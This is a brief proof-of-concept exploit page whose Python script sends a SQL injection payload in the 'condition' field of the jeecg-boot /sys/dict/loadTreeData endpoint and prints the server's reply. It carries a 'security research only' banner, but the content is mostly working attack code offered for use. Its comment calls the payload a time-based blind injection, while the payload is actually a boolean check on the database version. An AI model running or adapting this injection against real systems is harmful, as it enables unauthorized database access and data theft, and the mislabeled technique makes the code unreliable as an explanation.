PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual target)
target_url = "http://example.com/jeecg-boot/sys/dict/loadTreeData"

# Malicious payload for 'condition' argument
# This payload attempts to perform a time-based blind SQL injection
payload = {
    "condition": "1' AND (SELECT SUBSTRING(version(),1,1))='5'-- "
}

try:
    # Send POST request
    response = requests.post(target_url, json=payload, timeout=10)

    # Check if the request was successful
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response content:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[-] An error occurred: {e}")
